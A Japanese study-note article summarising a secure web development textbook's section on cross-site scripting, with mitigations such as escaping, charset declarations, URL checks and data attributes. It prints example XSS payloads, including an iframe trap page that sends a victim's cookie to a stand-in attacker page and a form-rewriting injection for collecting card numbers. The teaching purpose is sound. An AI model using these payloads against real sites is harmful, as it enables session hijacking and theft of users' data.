クロスサイト・スクリプティング(XSS)
はじめに
この記事の内容は 「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」 の第4章3節の要点をまとめたものです。
※ 基本的に引用は避けています。
基本
クロスサイト・スクリプティング(Cross-Site-Scripting)(略称: XSS)とは、外部からの入力を受け付けるWebアプリケーションにおいて、特殊記号(メタ文字)を意図的に入力値に使用されることによって生じる脆弱性のことである。
※略称をXSS としているのはCSS とのバッティングを避けるためらしい。
手法
XSS の攻撃手法について紹介する。
クッキー値の盗みだし
まず、クッキー値を盗まれることによって受ける被害は、ログイン状態を再現され、成りすましをされることが考えられる。
Webアプリケーションにおいて、ログイン状態はセッションによって管理されるが、セッションのID はクッキーによって管理されている。
そのため、クッキー値を盗まれセッションのID が割れてしまった場合、そのセッションIDのログイン状態を再現されてしまう。
具体的攻撃手法
例えば、Webアプリによく見られる検索フォームは検索文字列をURLパラメータに乗せてGETリクエストを送信させるものが多い。
そのとき、URLパラメータの値を「検索キーワード : (検索文字列)」といった具合で画面に表示しているサービスはよくみる。
脆弱サイト.php
検索キーワード : <?= $_GET["keyword"]; ?>
というWeb ページが存在していて
脆弱サイト.php?keyword=<script>alert(document.cookie)</script>
というURL にアクセスすると、クッキーの状態がWebブラウザに表示されてしまう。
これを攻撃者がやっても攻撃者のクッキーの状態が表示されるだけなので意味がないが、
脆弱ターゲットサイトをiframe で読みこむ罠サイトを用意し、脆弱ターゲットサイトの利用者に罠サイトにアクセスするように誘導させれば脆弱ターゲットサイトの利用者のクッキー値を盗み出すことが可能。
例を下記に示す。
脆弱サイト.php
は先述のものと同じ想定。
罠サイト1.html
<iframe src="脆弱サイト.php?keyword=<script>window.location='罠サイト2.php?session_id='%2Bdocument.cookie;</script>"></iframe>
脆弱ターゲットサイトの利用者が罠サイト1.html
にアクセスしたら、iframe の中で、cookie をURLパラメータに含んだ状態で罠サイト2.php
に遷移する。
iframe はもちろん画面上見えなくすることは可能。
罠サイト2.php
ではURL パラメータに付与されているクッキー値を攻撃者にメールで通知するなり、Slack するなりできる。
画面の書き換え
もうひとつの攻撃手法は画面を書き換えられて重要な情報を攻撃者に送られてしまうといったもの。
簡単な例を示す。
脆弱サイト.html
<form action="脆弱サイト2.html" method="POST"> <input name="name" value="<?= @$_POST['name']; ?>"> <input type="submit" value="送信>"> </form>
罠サイト.html
<form action="脆弱サイト.html" method="POST"> <input type="hidden" name="name" value='"></form><form action=罠サイト2.php method=POST>/*クレカ番号などを入力・送信させるフォーム*/</form>"'> <input type="submit" value="脆弱サイトへGO"> </form>
※ 補足
- 脆弱サイトはECサイトなんかを想定してもらうとよい
- 罠サイトの「脆弱サイトへGO」はhtml にstyle をあててアンカーリンクに見せる想定
この例では、以下の流れで被害にあう。
- 罠サイトにアクセスしたユーザーが脆弱サイトへのリンクを踏む
- 脆弱サイトで本来表示するはずのform が、罠サイトからPOST送信されたクレカ番号などを入力・送信させるフォームに書き換えられる
- 何も知らないユーザーは重要な情報を入力し、罠サイトへ送信してしまう
ここではシンプルなhtml で示したが、
クレカ番号などを入力・送信させるフォーム
のhtml をstyle をあててリッチにし、ユーザーに自然に見せることはいくらでも可能。
原因
これらの攻撃が成功してしまう原因は、特殊記号(メタ文字)を正しく扱っていないことに起因する。
「特殊記号(メタ文字)を正しく扱う」というのは、HTMLやJavascript を注入・変形されないようにエスケープしましょう、ということである。
対策
文字参照によるエスケープ
原因の項でも触れたが基本的な対策は、HTML上で意味をもつ文字列をエスケープするといったものである。
要素内容とは、HTML の要素の内容物。
先述の攻撃手法の1で
脆弱サイト.html
検索キーワード : <?= $_GET["keyword"]; ?>
とあったが、この件は<?= $_GET["keyword"]; ?>
にscript タグを注入されたことによって発生する、といったものだった。
文字参照を用いると、HTML上で、記号をHTMLの意味を持たせずに表示させることができる。
例えば、<
をHTML上で表示したければ、<
の文字参照である<
をHTML に記述するとHTML 上で<
が表示される。
また、文字参照は始まりが&
で始まるため、&
もエスケープする必要がある。
次に属性値について。
属性値はhtml の属性の値で、例えば、<input value="hogehoge">
のhogehoge の部分。
先述の2つめの攻撃手法の「画面の書き換え」では属性値にform 送信された値を出力していた。
脆弱サイト.html
<form action="脆弱サイト2.html" method="POST"> <input name="name" value="<?= @$_POST['name']; ?>"> <input type="submit" value="送信>"> </form>
これについては、ダブルクオートで囲って「<」「"」「&」をエスケープする
属性値をダブルクオートで囲うのは、スペースによって属性値の記述の終了させないためである。
例えば
<input name="name" value=<?= @$_GET['name']; ?>>
となっていたら、
1+onmouseover="alert(document.cookie)"
とフォーム送信された場合、
<input name="name" value=1 onmouseover="alert(document.cookie)">
となる。
なので、属性値を"
で囲った上で"
をエスケープし、"
によって属性値を終了させないようにする。
あとは、<
をエスケープし、HTML上意味のある記号によって、HTML を書き換えられるのを防ぐ。
レスポンスの文字エンコーディング指定
Web アプリケーション側で想定している文字エンコーディングとブラウザが想定する文字エンコーディングが異なると、XSS の原因になる。
例えばWebアプリケーションはUTF8 を想定していて、UTF8 の<
をエスケープしていたとしても、
ブラウザがHTMLをUTF7と認識していれば、+ADw-script+AD4-
でブラウザでJavaScript
が動いてしまう。
これはレスポンスヘッダに
Content-Type: text/html; charset=UTF-8
を含めて出力すればよい。
また、html のhead にも、
<meta charset="utf-8"/>
をいれておこう。
発展
HTML 上意味をもつ記号「<」をエスケープしていても、XSS 攻撃が成功してしまうケースがある。
ここではその紹介と対策について触れる。
href 属性やsrc 属性のXSS
href 属性やsrc 属性にはURL が値として入る。
その属性値が入力値によって動的に生成されていたらどうなるか。
脆弱サイト.html
<a href="<?= htmlspecialchars($_GET['url']); ?>">
※ htmlspecialchars
はPHP のhtmlエスケープ関数
エスケープ処理が挟まれているので、一見良さそうに見えるが、
脆弱サイト.html?url=javascript:alert(document.cookie)
というURL を実行されると、
<a href="javascript:alert(document.cookie)">
となり、aタグに囲われたテキストをクリックされるとクッキー値がアラートで表示される。
例えば罠サイトに誘導させ、リンクをクリックさせる。href=javascript〜
では、ajax で攻撃者の情報収集スクリプトを叩かれて攻撃者にクッキーをメール送信、などで攻撃を成功させることができる。
対策
この対策としては、入力値をHTMLの属性値のURLに用いるときはURL の形式が正しいか、チェックを行うようにする、が対策として必要。
JavaScript の動的生成
JavaScript を動的に生成する場合も、エスケープ以外の考慮が必要になる。
例えば以下のようなonload イベントハンドラの属性値を入力値から動的生成している場合、
<script> function init(a) { ...なにか処理 } </script> <body onload="init('<?= htmlspecialchars($_GET['name'], ENT_QUOTES ?>')"> ... </body>
name=');alert(document.cookie)
とされればアウト。
対策
- JavaScript の文法から、引用符または改行をエスケープする
という方法が考えられるが、JavaScript のエスケープルールが複雑で、対策漏れが発生しやすい。
なので、
- カスタムデータ属性を利用して、JavaScript 側からデータを参照する
といった方法がオススメ。
先の例であれば、
<script> var body = document.getElementById("myBody"); var dataName = body.dataset.name; </script> <body id="myBody" data-name="<?= htmlspecialchars($_GET['name'], ENT_QUOTES ?>"> ... </body>
こういった形でJavaScript にデータを渡すことが可能。